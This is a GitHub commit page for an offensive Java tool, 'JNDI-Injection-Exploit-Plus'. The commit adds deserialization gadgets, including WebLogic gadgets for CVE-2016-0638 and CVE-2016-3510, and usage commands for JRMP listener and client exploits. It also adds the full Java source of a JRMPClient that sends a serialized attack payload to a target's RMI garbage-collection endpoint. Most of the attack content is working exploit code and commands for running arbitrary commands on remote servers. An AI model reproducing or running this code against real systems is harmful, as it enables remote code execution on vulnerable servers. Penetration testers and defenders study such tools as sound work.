Skip to content

Commit 7823a4a

Browse files
cckuailongcckuailong
committed
add some new gadget
1. Add JRMPListener exploit 2. Add JRMPClient Gadget 3. Add Jdku21 Gadget 4. Add Weblogic1 Gadget (CVE-2016-0638) 5. Add Weblogic2 Gadget (CVE-2016-3510)
1 parent 26102f5 commit 7823a4a

19 files changed

+3232
-15
lines changed

‎README.md‎

Lines changed: 32 additions & 12 deletions
Original file line numberDiff line numberDiff line change
@@ -35,7 +35,7 @@ Websphere Readfile | @cckuailong | trustURLCodebase is false but have WebSphere
3535

3636
#### 3. Deserailization Gadget (total: 37)
3737

38-
P.S. More Gadgets than ysoserial, welcome to PR more! ^_^
38+
P.S. More Gadgets (:arrow_up: ) than ysoserial, welcome to PR more! ^_^
3939

4040
payload | author | dependencies
4141
------ | -------- | ------
@@ -45,22 +45,24 @@ C3P0 |@mbechler |c3p0:0.9.5.2, mchange-commons-
4545
Click1 |@artsploit |click-nodeps:2.3.0, javax.servlet-api:3.1.0
4646
Clojure |@JackOfMostTrades |clojure:1.8.0
4747
CommonsBeanutils1 |@frohoff |commons-beanutils:1.9.2
48-
CommonsBeanutils2 |@cckuailong |commons-beanutils:1.9.2
48+
CommonsBeanutils2 :arrow_up: |@cckuailong |commons-beanutils:1.9.2
4949
CommonsCollections1 |@frohoff |commons-collections:3.1
5050
CommonsCollections2 |@frohoff |commons-collections4:4.0
5151
CommonsCollections3 |@frohoff |commons-collections:3.1
5252
CommonsCollections4 |@frohoff |commons-collections4:4.0
5353
CommonsCollections5 |@matthias_kaiser, @jasinner |commons-collections:3.1
5454
CommonsCollections6 |@matthias_kaiser |commons-collections:3.1
5555
CommonsCollections7 |@scristalli, @hanyrax, @EdoardoVignati |commons-collections:3.1
56-
CommonsCollections8 |@cckuailong |commons-collections4:4.0
57-
CommonsCollections9 |@cckuailong |commons-collections:3.1
58-
CommonsCollections10|@cckuailong |commons-collections:3.2.1
56+
CommonsCollections8 :arrow_up: |@cckuailong |commons-collections4:4.0
57+
CommonsCollections9 :arrow_up: |@cckuailong |commons-collections:3.1
58+
CommonsCollections10 :arrow_up:|@cckuailong |commons-collections:3.2.1
5959
FileUpload1 |@mbechler |commons-fileupload:1.3.1, commons-io:2.4 | file uploading
6060
Groovy1 |@frohoff |groovy:2.3.9
6161
Hibernate1 |@mbechler|
6262
Hibernate2 |@mbechler|
6363
JBossInterceptors1 |@matthias_kaiser |javassist:3.12.1.GA, jboss-interceptor-core:2.0.0.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
64+
Jdk7u21 |@frohoff|
65+
JRMPClient |@mbechler|
6466
JSON1 |@mbechler |json-lib:jar:jdk15:2.4, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2, commons-lang:2.6, ezmorph:1.0.6, commons-beanutils:1.9.2, spring-core:4.1.4.RELEASE, commons-collections:3.1
6567
JavassistWeld1 |@matthias_kaiser |javassist:3.12.1.GA, weld-core:1.1.33.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
6668
Jython1 |@pwntester, @cschneider4711 |jython-standalone:2.5.2
@@ -69,14 +71,16 @@ MozillaRhino2 |@_tint0 |js:1.7R2
6971
Myfaces1 |@mbechler|
7072
Myfaces2 |@mbechler|
7173
ROME1 |@mbechler |rome:1.0
72-
ROME2 |@firebasky |rome:1.0
74+
ROME2 :arrow_up: |@firebasky |rome:1.0
7375
Spring1 |@frohoff |spring-core:4.1.4.RELEASE, spring-beans:4.1.4.RELEASE
7476
Spring2 |@mbechler |spring-core:4.1.4.RELEASE, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2
75-
Spring3 |@cckuailong |spring-tx:5.2.3.RELEASE, spring-context:5.2.3.RELEASE, javax.transaction-api:1.2
77+
Spring3 :arrow_up: |@cckuailong |spring-tx:5.2.3.RELEASE, spring-context:5.2.3.RELEASE, javax.transaction-api:1.2
7678
URLDNS |@gebl |jre only vuln detect
7779
Vaadin1 |@kai_ullrich |vaadin-server:7.7.14, vaadin-shared:7.7.14
80+
Weblogic1 :arrow_up: |@cckuailong |weblogic:10.3.6.0, 12.1.3.0, 12.2.1.0
81+
Weblogic2 :arrow_up: |@cckuailong |weblogic:10.3.6.0, 12.1.3.0, 12.2.1.0
7882
Wicket1 |@jacob-baines |wicket-util:6.23.0, slf4j-api:1.6.4
79-
WildFly1 |@hugow |org.wildfly:wildfly-connector:26.0.1.Final
83+
WildFly1 :arrow_up: |@hugow |org.wildfly:wildfly-connector:26.0.1.Final
8084

8185
#### 4. generate and export payloads
8286

@@ -91,7 +95,7 @@ You can generate the deserialization payloads with binary or base64 type of outp
9195
Run as
9296

9397
```shell
94-
$ java -jar JNDI-Injection-Exploit-Plus-1.3-SNAPSHOT-all.jar [-C] [command] [-A] [address]
98+
$ java -jar JNDI-Injection-Exploit-Plus-1.4-SNAPSHOT-all.jar [-C] [command] [-A] [address]
9599
```
96100

97101
where:
@@ -121,7 +125,7 @@ Points for attention:
121125
Run as
122126

123127
```shell
124-
$ java -jar JNDI-Injection-Exploit-Plus-1.3-SNAPSHOT-all.jar [-C] [command] [-D] [Gadget] [-O] [bin/base64]
128+
$ java -jar JNDI-Injection-Exploit-Plus-1.4-SNAPSHOT-all.jar [-C] [command] [-D] [Gadget] [-O] [bin/base64]
125129
```
126130

127131
where:
@@ -132,6 +136,22 @@ where:
132136
- **-D** - The deserial Gadget payload name.
133137
- **-O** - (Optional) The deserial output type, default is binary
134138

139+
## Deserialization Exploits
140+
141+
### JRMP
142+
143+
- JRMPListener
144+
145+
```shell
146+
java -cp JNDI-Injection-Exploit-Plus-1.4-SNAPSHOT-all.jar exploit.JRMPListener <port> CommonsCollections1 calc
147+
```
148+
149+
- JRMPClient
150+
151+
```shell
152+
java -jar JNDI-Injection-Exploit-Plus-1.4-SNAPSHOT-all.jar -C "<ip>:<port>" -D "JRMPClient" -O base64
153+
```
154+
135155
## Examples
136156

137157
### JNDI Links
@@ -141,7 +161,7 @@ Local demo:
141161
1. Start the tool like this:
142162

143163
```shell
144-
$ java -jar JNDI-Injection-Exploit-Plus-1.3-SNAPSHOT-all.jar -C "/System/Applications/Calculator.app/Contents/MacOS/Calculator" -A "127.0.0.1"
164+
$ java -jar JNDI-Injection-Exploit-Plus-1.4-SNAPSHOT-all.jar -C "/System/Applications/Calculator.app/Contents/MacOS/Calculator" -A "127.0.0.1"
145165
```
146166

147167
Screenshot:
@@ -172,7 +192,7 @@ For More Examples: [Test-JNDI-Injection-Exploit-Plus](https://github.com/cckuail
172192
### Deserialization Payloads
173193

174194
```shell
175-
$ java -jar JNDI-Injection-Exploit-Plus-1.3-SNAPSHOT-all.jar -C "/System/Applications/Calculator.app/Contents/MacOS/Calculator" -D "Spring2" -O base64
195+
$ java -jar JNDI-Injection-Exploit-Plus-1.4-SNAPSHOT-all.jar -C "/System/Applications/Calculator.app/Contents/MacOS/Calculator" -D "Spring2" -O base64
176196
```
177197

178198
Base64 Output Result:

‎libs/com.oracle.weblogic.iiop-common.jar‎

361 KB
Binary file not shown.

‎libs/wlfullclient.jar‎

55.6 MB
Binary file not shown.

‎pom.xml‎

Lines changed: 62 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -6,7 +6,7 @@
66

77
<groupId>cckuailong</groupId>
88
<artifactId>JNDI-Injection-Exploit-Plus</artifactId>
9-
<version>1.3-SNAPSHOT</version>
9+
<version>1.4-SNAPSHOT</version>
1010

1111
<properties>
1212
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
@@ -229,6 +229,18 @@
229229
<version>1.2</version>
230230
</dependency>
231231

232+
<!-- Application Server dependencies -->
233+
<dependency>
234+
<groupId>com.oracle.weblogic</groupId>
235+
<artifactId>iiop-common</artifactId>
236+
<version>1.0-SNAPSHOT</version>
237+
</dependency>
238+
<dependency>
239+
<groupId>wlfullclient</groupId>
240+
<artifactId>wlfullclient</artifactId>
241+
<version>1.0-SNAPSHOT</version>
242+
</dependency>
243+
232244
<!-- test -->
233245
<dependency>
234246
<groupId>junit</groupId>
@@ -266,6 +278,55 @@
266278
</execution>
267279
</executions>
268280
</plugin>
281+
<plugin>
282+
<groupId>org.apache.maven.plugins</groupId>
283+
<artifactId>maven-install-plugin</artifactId>
284+
<executions>
285+
<execution>
286+
<id>install-weblogic1</id>
287+
<phase>clean</phase>
288+
<configuration>
289+
<file>${basedir}/libs/wlfullclient.jar</file>
290+
<repositoryLayout>default</repositoryLayout>
291+
<groupId>wlfullclient</groupId>
292+
<artifactId>wlfullclient</artifactId>
293+
<version>1.0-SNAPSHOT</version>
294+
<packaging>jar</packaging>
295+
<generatePom>true</generatePom>
296+
</configuration>
297+
<goals>
298+
<goal>install-file</goal>
299+
</goals>
300+
</execution>
301+
<execution>
302+
<id>install-weblogic2</id>
303+
<phase>clean</phase>
304+
<configuration>
305+
<file>${basedir}/libs/com.oracle.weblogic.iiop-common.jar</file>
306+
<repositoryLayout>default</repositoryLayout>
307+
<groupId>com.oracle.weblogic</groupId>
308+
<artifactId>iiop-common</artifactId>
309+
<version>1.0-SNAPSHOT</version>
310+
<packaging>jar</packaging>
311+
<generatePom>true</generatePom>
312+
</configuration>
313+
<goals>
314+
<goal>install-file</goal>
315+
</goals>
316+
</execution>
317+
</executions>
318+
</plugin>
319+
<plugin>
320+
<groupId>org.apache.maven.plugins</groupId>
321+
<artifactId>maven-surefire-plugin</artifactId>
322+
<version>3.0.0-M1</version>
323+
<configuration>
324+
<trimStackTrace>false</trimStackTrace>
325+
<systemPropertyVariables>
326+
<java.rmi.server.useCodebaseOnly>false</java.rmi.server.useCodebaseOnly>
327+
</systemPropertyVariables>
328+
</configuration>
329+
</plugin>
269330
</plugins>
270331
</build>
271332

‎src/main/java/exploit/JRMPClient.java‎

Lines changed: 135 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,135 @@
1+
package exploit;
2+
3+
4+
import sun.rmi.transport.TransportConstants;
5+
import payloads.ObjectPayload.Utils;
6+
7+
import javax.net.SocketFactory;
8+
import java.io.DataOutputStream;
9+
import java.io.IOException;
10+
import java.io.ObjectOutputStream;
11+
import java.io.OutputStream;
12+
import java.net.*;
13+
14+
15+
/**
16+
* Generic JRMP client
17+
*
18+
* Pretty much the same thing as {@link RMIRegistryExploit} but
19+
* - targeting the remote DGC (Distributed Garbage Collection, always there if there is a listener)
20+
* - not deserializing anything (so you don't get yourself exploited ;))
21+
*
22+
* @author mbechler
23+
*
24+
*/
25+
@SuppressWarnings ( {
26+
"restriction"
27+
} )
28+
public class JRMPClient {
29+
30+
public static final void main ( final String[] args ) {
31+
if ( args.length < 4 ) {
32+
System.err.println(JRMPClient.class.getName() + " <host> <port> <payload_type> <payload_arg>");
33+
System.exit(-1);
34+
}
35+
36+
Object payloadObject = Utils.makePayloadObject(args[2], args[3]);
37+
String hostname = args[ 0 ];
38+
int port = Integer.parseInt(args[ 1 ]);
39+
try {
40+
System.err.println(String.format("* Opening JRMP socket %s:%d", hostname, port));
41+
makeDGCCall(hostname, port, payloadObject);
42+
}
43+
catch ( Exception e ) {
44+
e.printStackTrace(System.err);
45+
}
46+
Utils.releasePayload(args[2], payloadObject);
47+
}
48+
49+
public static void makeDGCCall ( String hostname, int port, Object payloadObject ) throws IOException, UnknownHostException, SocketException {
50+
InetSocketAddress isa = new InetSocketAddress(hostname, port);
51+
Socket s = null;
52+
DataOutputStream dos = null;
53+
try {
54+
s = SocketFactory.getDefault().createSocket(hostname, port);
55+
s.setKeepAlive(true);
56+
s.setTcpNoDelay(true);
57+
58+
OutputStream os = s.getOutputStream();
59+
dos = new DataOutputStream(os);
60+
61+
dos.writeInt(TransportConstants.Magic);
62+
dos.writeShort(TransportConstants.Version);
63+
dos.writeByte(TransportConstants.SingleOpProtocol);
64+
65+
dos.write(TransportConstants.Call);
66+
67+
@SuppressWarnings ( "resource" )
68+
final ObjectOutputStream objOut = new MarshalOutputStream(dos);
69+
70+
objOut.writeLong(2); // DGC
71+
objOut.writeInt(0);
72+
objOut.writeLong(0);
73+
objOut.writeShort(0);
74+
75+
objOut.writeInt(1); // dirty
76+
objOut.writeLong(-669196253586618813L);
77+
78+
objOut.writeObject(payloadObject);
79+
80+
os.flush();
81+
}
82+
finally {
83+
if ( dos != null ) {
84+
dos.close();
85+
}
86+
if ( s != null ) {
87+
s.close();
88+
}
89+
}
90+
}
91+
92+
static final class MarshalOutputStream extends ObjectOutputStream {
93+
94+
95+
private URL sendUrl;
96+
97+
public MarshalOutputStream (OutputStream out, URL u) throws IOException {
98+
super(out);
99+
this.sendUrl = u;
100+
}
101+
102+
MarshalOutputStream ( OutputStream out ) throws IOException {
103+
super(out);
104+
}
105+
106+
@Override
107+
protected void annotateClass ( Class<?> cl ) throws IOException {
108+
if ( this.sendUrl != null ) {
109+
writeObject(this.sendUrl.toString());
110+
} else if ( ! ( cl.getClassLoader() instanceof URLClassLoader ) ) {
111+
writeObject(null);
112+
}
113+
else {
114+
URL[] us = ( (URLClassLoader) cl.getClassLoader() ).getURLs();
115+
String cb = "";
116+
117+
for ( URL u : us ) {
118+
cb += u.toString();
119+
}
120+
writeObject(cb);
121+
}
122+
}
123+
124+
125+
/**
126+
* Serializes a location from which to load the specified class.
127+
*/
128+
@Override
129+
protected void annotateProxyClass ( Class<?> cl ) throws IOException {
130+
annotateClass(cl);
131+
}
132+
}
133+
134+
135+
}

0 commit comments

Comments
 (0)